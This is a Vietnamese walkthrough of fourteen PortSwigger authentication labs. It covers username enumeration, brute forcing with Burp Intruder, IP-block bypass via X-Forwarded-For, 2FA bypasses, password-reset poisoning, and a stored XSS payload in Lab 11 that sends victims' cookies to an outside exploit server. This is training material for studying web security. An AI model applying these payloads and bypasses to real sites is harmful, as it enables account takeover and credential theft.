# Lab 1: Username enumeration via different responses

- Lab này cho danh sách `username` và `password`
- [Candidate usernames](https://portswigger.net/web-security/authentication/auth-lab-usernames)
- [Candidate passwords](https://portswigger.net/web-security/authentication/auth-lab-passwords)
- Ta phải tìm ra tài khoản hợp lệ để giải lab
Đầu tiên, thử login với `username: admin, password: 123456` và gửi qua Intruder để xử lý

Tiếp theo, brute force `username` và `password` bằng danh sách cho trước, attack type `Cluster bomb`



Ta thấy mỗi request đều nhận được phản hồi với status 200, ngoại trừ 1 request có status 302. Chứng tỏ lần login đó thành công.

Vậy ta có `username: affiliate, password: mom`

Done!
# Lab 2: Username enumeration via subtly different responses

Tương tự lab trên
Đầu tiên, thử login với `username: admin, password: 123456` và gửi qua Intruder để xử lý

Tiếp theo, brute force `username` và `password` bằng danh sách cho trước, attack type `Cluster bomb`



Ta thấy mỗi request đều nhận được phản hồi với status 200, ngoại trừ 1 request có status 302. Chứng tỏ lần login đó thành công.

Vậy ta có `username: att, password: 000000`

Done!
# Lab 3: Username enumeration via response timing

- Làm trễ thời gian phản hồi của web để tìm được tài khoản hợp lệ dựa trên
- Thông tin đăng nhập: `wiener:peter`
- [Candidate usernames](https://portswigger.net/web-security/authentication/auth-lab-usernames)
- [Candidate passwords](https://portswigger.net/web-security/authentication/auth-lab-passwords)
Đầu tiên, thử login với các tài khoản bất kỳ

IP của chúng ta sẽ bị chặn do login quá nhiều lần
Để bypass, thêm header `X-Forwarded-For`


Thử login với password bất kỳ thì thời gian response của web là gần như nhau
Giờ ta tăng độ dài password lên thì thấy web response khá lâu 1335ms

Tận dụng điều này để giải lab
Gửi request qua Intruder, attack type Pitchfork

Payload 1: từ 1 -> 100 vì có 100 username

Payload2: danh sách username lab đã cung cấp

Ta thấy request 51 có thời gian phản hồi lâu nhất, vậy `username` chính là `al`

Với username vừa tìm được, tìm password tương ứng



Có 1 response với status 302, còn lại đều là 200

Vậy ta có password là `superman`

Done!
# Lab 4: Broken brute-force protection, IP block

- Lab này chứa lỗ hổng do logic trong việc bảo vệ mật khẩu.
- Mục tiêu lab: brute force password của nạn nhân, sau đó login.
- Thông tin đăng nhập: `wiener:peter`
- username của nạn nhân: `carlos`
- [Candidate passwords](https://portswigger.net/web-security/authentication/auth-lab-passwords)
Login với tài khoản bất ký, ta thấy nếu nhập sai mật khẩu quá 3 lần thì phải chờ 1 phút mới được login tiếp

Login tài khoản `wiener:peter` mà lab đã cung cấp

Đăng nhập thành công, sau đó logout, ta thấy không phải chờ nữa, mà có thể tiếp tục thử các tài khoản khác

Tận dụng lỗ hổng này để giải lab. Gửi request qua Intruder
- Attack tyoe: Pitchfork
- Payload 1: username `wiener` để tránh bị khóa, `carlos` là mục tiêu cần tìm password, sắp xếp chúng xen kẽ nhau
- Payload 2: password tương ứng




Vậy password là `cheese`

Done!
# Lab 5: Username enumeration via account lock

Đầu tiên, ta thử login với 50 lần với 1 user



Nhưng web không báo gì về việc khóa tài khoản

Giờ ta thử với nhiều username xem có thông báo nào khác không, attack type Cluster bomb



Ta thấy có 1 username có độ dài khác nhau, tức là login quá 3 lần sẽ bị khóa trong 1 phút

Vậy ta có username là `af`
Với username này, tiếp tục tìm password


Thấy 1 response có độ dài khác biệt, tức là không gặp lỗi nào

Vậy password là `george`

Done!
# Lab 6: Broken brute-force protection, multiple credentials per request

Thử login, ta thấy request ở dạng file JSON

Sửa value của password thành 1 mảng các password
```python
f = open(r'D:\General\Portswigger\user.txt')
lines = []
for x in f:
lines.append("\""+ x.strip() + "\"" + ",")
output_file_path = 'D:\\General\\Portswigger\\user2.txt'
with open(output_file_path, 'w') as output_file:
for line in lines:
output_file.write(line + '\n')
```

Status 302 tức là thành công

Paste vào browser

Done!
# Lab 7: 2FA simple bypass

Login vào tài khoản `wiener: peter`, web chuyển đến `/login2`

Lấy code xác thực từ email

Sau khi login thành công, web chuyển hướng đến `/my-account`
URL hiện tại là
```
https://0a58008204a6b6138375af4d002900f8.web-security-academy.net/my-account?id=wiener
```
Giờ đổi id thành `carlos` thì bị logout ra. Nhập tài khoản `carlos: montoya` mà lab cung cấp thì web chuyển đến `/login2`
Sửa URL thành chuyển hướng đến `/my-account` xem sao

Done!
# Lab 8: 2FA broken logic

Đầu tiên, login với `wiener: peter` xem sao

Web yêu cầu xác thực yếu tố thứ 2 với mã xác thực gồm 4 chữ số
Ở `/login2` ta thấy cookie có `verify=wiener`

Nếu đổi thành `verify=carlos` thì sao

Hệ thống cho ta nhảy đến bước xác thực thứ 2 mà không cần nhập mật khẩu
Giờ thì đi brute force mật khẩu thuiii
- Attack type: Sniper
- Payload: 0 -> 9999 (vì mã xác thực gồm 4 chữ số)


Tìm được mã xác thực là `1245`

Chọn `Request in browser` và paste url trên trình duyệt

Done!
# Lab 9: 2FA bypass using a brute-force attack

Đầu tiên, login với `carlos: montoya`, khi nhập sai mã xác thực 2 lần thì tự động logout ra

Ta sẽ dùng Burp macros để xử lý phiên, nó giúp ta login với tư cách là `carlos` sau mỗi lần thử mã xác thực




Chọn `Test macro`, nếu response yêu cầu nhập mã xác thực tức là macro hoạt động đúng

Tiếp theo, gửi `POST /login2` qua Intruder để brute-force mã xác thực



Vì chỉ gửi 1 request 1 lần nên chờ siêu lâu
Trả về status 302 tức là mã đúng


Done!
# Lab 10: Brute-forcing a stay-logged-in cookie

Thử login với `wiener: peter` lab đã cung cấp, chọn `stay logged in`
Login thành công, ngay cả khi ta đóng trình duyệt thì vẫn không bị logout
Vì cookie này được lưu trữ cho phiên đăng nhập tiếp theo

Decode thì thấy cookie này dưới dạng `wiener:51dc30ddc473d43a6011e9ebba6ca770`

Lại thấy `51dc30ddc473d43a6011e9ebba6ca770` có dạng MD5 hash (có 32 ký tự, bao gồm a-z0-9)

Sau khi decode nhận được đúng password ban đầu.
Vậy password được lưu trữ dưới dạng `base64(username:md5(password))`
Giờ gửi qua Intruder và brute-force mật khẩu với username `carlos`



Tìm thấy cookie đã được mã hóa, solved lab

Done!
# Lab 11: Offline password cracking

- Lab này lưu trữ hàm băm mật khẩu trong cookie và chứa lỗ hổng XSS trong chức năng bình luận.
- Mục tiêu lab: login với `carlos` và xóa tài khoản này
Tương tự lab trên, cookie được mã hóa dạng `base64(username:md5(password))`


Tiếp theo, vào phần comment để kiểm tra

Lỗ hổng XSS

Payload XSS sau để khai thác
```js
<script>document.location='https://exploit-0a3300e8031720ed80210c9301ea0058.exploit-server.net/exploit'+document.cookie</script>
```

Chọn access log để xem nhật ký truy cập

Ta thấy có 1 `stay logged in` đã được mã hóa
Decode thì được đúng dạng cookie


Vậy password là `onceuponatime`
Tiếp theo, login và delete account `carlos`

Done!
# Lab 12: Password reset broken logic

Login với `wiener: peter` mà lab cung cấp, chọn chức năng Forgor password

Hệ thống yêu cầu kiểm tra email
Mail cung cấp 1 URL để reset password


Ta có request `POST /forgot-password?temp-forgot-password-token`

Nếu xóa `temp-forgot-password-token` thì chức năng reset vẫn hoạt động, chứng tỏ hệ thống không kiểm tra lại token sau đặt lại mật khẩu mới

Đổi username thành `carlos` và gửi request

Login với mật khẩu trên

Done!
# Lab 13: Password reset poisoning via middleware

Lab cho phép reset lại mật khẩu bằng cách gửi URL có chứa token qua email
Tận dụng điều này, ta sẽ chặn request ở bước gửi URL này

Sử dụng header `X-Forwarded-Host` để chuyển đường link này đến 1 domain khác và với username `carlos`

Trong access log ta thấy có 1 địa chỉ IP lạ kèm `temp-forgot-password-token`

Ta sẽ lấy cắp token này để reset mật khẩu cho `carlos`


Login với mật khẩu vừa đổi

Done!
# Lab 14: Password brute-force via password change

Lab này chứa lỗ hổng ở chức năng đổi mật khẩu.Login với tài khoản lab cung cấp để phân tích chức năng này
Đầu tiên, nhập sai password hiện tại thì xảy ra 2 trường hợp
- 2 pass mới trùng nhau, acc sẽ bị khóa

- 2 pass mới khác nhau, hệ thống báo sai pass hiện tại

Nếu nhập đúng password hiện tại, 2 pass mới khác nhau, hệ thống báo 2 pass mới không khớp

Vì vậy, ta sẽ dựa vào các thông báo này để brute-force mật khẩu của `carlos`
Gửi qua Intruder, ta sẽ đặt 2 pass mới khác nhau, vì nếu pass hiện tại đúng thì trả về `New passwords do not match`



Tìm thấy request khớp với yêu cầu

Vậy password là `1qaz2wsx`

Done!